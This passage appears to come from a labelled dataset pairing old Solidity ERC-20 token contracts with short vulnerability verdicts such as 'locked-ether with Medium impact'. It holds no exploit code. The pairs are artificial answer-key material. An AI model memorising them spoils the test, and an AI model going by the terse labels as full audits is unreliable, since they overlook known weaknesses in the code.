require(_value <= allowed[_from][msg.sender]);
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
}
contract ToexCoin is StandardToken {
string public constant name = "ToexCoin";
string public constant symbol = "TOEX";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public constant total = 25 * (10**7) * 10**decimals; // 20 *10^7 TOEX total
function ToexCoin() public {
balances[msg.sender] = total;
Transfer(0x0, msg.sender, total);
}
function totalSupply() public view returns (uint256) {
return total;
}
function transfer(address _to, uint _value) public returns (bool) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint _value) public returns (bool) {
return super.approve(_spender,_value);
}
function airdropToAddresses(address[] addrs, uint256 amount) public {
for (uint256 i = 0; i < addrs.length; i++) {
transfer(addrs[i], amount);
}
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'FIXED' 'Example Fixed Supply Token' token contract
//
// Symbol : FIXED
// Name : Example Fixed Supply Token
// Total supply: 1,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function FixedSupplyToken() public {
symbol = "HIT";
name = "HitCents";
decimals = 18;
_totalSupply = 1000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CLEAR Token' token contract
//
// Deployed to : 0x97c47782c7918eD78a247F2CE7A476A22A41Cd19
// Symbol : CLEAR
// Name : Clear Cryptobank Token
// Total supply: 250,000,000.000000000000000000
// Decimals : 18
//
// (c) Clear Cryptobank Token 2018
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token
// ----------------------------------------------------------------------------
contract ClearToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ClearToken() public {
symbol = "CLEAR";
name = "Clear Cryptobank Token";
decimals = 18;
_totalSupply = 285000000000000000000000000;
balances[0x97c47782c7918eD78a247F2CE7A476A22A41Cd19] = _totalSupply;
Transfer(address(0), 0x97c47782c7918eD78a247F2CE7A476A22A41Cd19, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/*MMMMMMMMMMMMMMMMMMMMMKd:;:kXWMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMNkxKd,;cl0WMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMKdOWklxo'cKMMMMMMM
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MMMMMMMMMMMMMMMMMMMMMWdlXWxdN0:'dWMMMMMM
MMMMMMMMMMMMMMMMMMMNXOclXWxdNK:.oNMMMMMM
MMMMMMMMMMMMMMMMWXkllc,lXNddNK:.oNMMMMMM
MMMMMMMMMMMMMWKkxo;l0Kkdko,oXx,.oNMMMMMM
MMMMMMMMMMMMNk:oXXxxXNWXd,.:l,..oNMMMMMM
MMMMMMMMMWKko:'lXMKkkKMMNk;'....lXMMMMMM
MMMMMMMMM0lo0KkcxNWX0XWMMWKo'...:0MMMMMM
MMMMMMMMKl;xNMWkcOWMMW0KWMMNO:'.'xWMMMMM
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MMMMMMMX0XXc.,xNNd;dKK0xoxKKxlxKdl0MMMMM
MMMMMMMW00Nd'.,ldc';lxKNWWO:..:ccOWMMMMM
MMMMMMMMX0X0:':;..,kXNWKxl,....,kWMMMMMM
MMMMMMMMWKKN0Ok:..oNMWO:......'dNMMMMMMM
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MMMMMMMMMWKXWk,...oXXd,''....;OWMMMMMMMM
MWMMMMMMMMX0N0oc,.lKKkol:'..'dNMMMMMMMMM
OoodxkO0XNWO0WWNd'oko:'.....cKNXKOkxdooO
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l,....;:,;:;;coolcdo:,'oX0c',,,':;....,l
0Oxd:';;c0NklooxOOOOOklxNNK0KOc.,:':dxO0
MMMW0c;';k0l,,c0W0kNMXo:llOWNd'.';c0WMMM
MMMMWk;.',,...;OWxdNWKc..cKNx,...,xNMMMM
MMMMMNkc;''...;xOllO0x;.'coc,'';cxXMMMMM
MMMMMMWNKOdoc:;:;,',,,'',;:codkKNWMMMM*/
/// Only 3000GRP (GroupToken)
/// 3% burn rate and trade will be effected from Tue, 10 Nov 2020 13:00:00 GMT. Burning process will be implemented
// until the remain of tokens hit 1000
/// dev no token, no any sales, no marketing for this token and trust in the community to see it through
/// no mint function, 100% add LQ
pragma solidity ^0.4.25;
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) external;
}
contract ERC20Details is ERC20 {
uint8 public _decimal;
string public _name;
string public _symbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_decimal = decimals;
_name = name;
_symbol = symbol;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimal;
}
}
contract GroupFinance is ERC20Details {
using SafeMath for uint256;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
string private constant _NAME = "Group.Finance";
string private constant _SYMBOL = "GRP";
uint8 private constant _DECIMALS = 18;
uint16 private constant supply = 3000;
address owner = msg.sender;
address constant public deployer = 0xC331b3a9f2F02a5B3Be2FBf07C398e8f61C44C87;
uint256 private constant releaseTime = 1605013200;
uint256 _totalSupply = supply * 10 ** uint256(_DECIMALS);
uint256 private constant burnrate = 3;
uint16 private constant minimum = 1000;
uint256 _minimumSupply = minimum * 10 ** uint256(_DECIMALS);
constructor() public payable ERC20Details(_NAME, _SYMBOL, _DECIMALS){
mint(msg.sender, _totalSupply);
}
function mint(address account, uint256 amount) internal {
require(amount != 0);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address player) public view returns (uint256) {
return balances[player];
}
function allowance(address player, address spender) public view returns (uint256) {
return allowed[player][spender];
}
function burnToken(uint256 value) private view returns (uint256){
uint256 burnable = _totalSupply - _minimumSupply;
if (burnable <= 0)
return 0;
uint256 tokenForburn = 0;
uint256 _burn = value.mul(burnrate).div(100);
if (burnable >= _burn)
tokenForburn = _burn;
else
tokenForburn = burnable;
return tokenForburn;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= balances[msg.sender]);
require(to != address(0));
if (msg.sender != deployer)
require(now > releaseTime);
uint256 needBurn = 0;
if (now > releaseTime)
needBurn = burnToken(value);
uint256 _transfer = value.sub(needBurn);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(_transfer);
_totalSupply = _totalSupply.sub(needBurn);
emit Transfer(msg.sender, to, _transfer);
emit Transfer(msg.sender, address(0), needBurn);
return true;
}
//Buy back and airdrop
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= balances[from]);
require(value <= allowed[from][msg.sender]);
require(to != address(0));
if (from != deployer)
require(now > releaseTime);
uint256 needBurn = 0;
if (now > releaseTime)
needBurn = burnToken(value);
uint256 _transfer = value.sub(needBurn);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(_transfer);
_totalSupply = _totalSupply.sub(needBurn);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
emit Transfer(from, to, _transfer);
emit Transfer(from, address(0), needBurn);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'WBT' 'Webrypto'
//
// Symbol : WBT
// Name : Webrypto
// Total supply: 100,000,000.000000000000000000
// Decimals : 18
//
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract WBT is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function WBT() public {
symbol = "WBT";
name = "Webrypto";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'FoxOracle' token contract
//
// Deployed to : 0x43c939f846767F9CcBC400a3D072F53C272A9520
// Symbol : fxOracle
// Name : FoxOracle
// Total supply: 1000000000000000
// Decimals : 18
//
// https://t.me/FoxOracle
//
// Metamask powered ORACLE- MORE INFO AT www.metamask.io
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract FoxOracle is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function FoxOracle() public {
symbol = "fxOracle";
name = "FoxOracle";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x43c939f846767F9CcBC400a3D072F53C272A9520] = _totalSupply;
Transfer(address(0), 0x43c939f846767F9CcBC400a3D072F53C272A9520, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
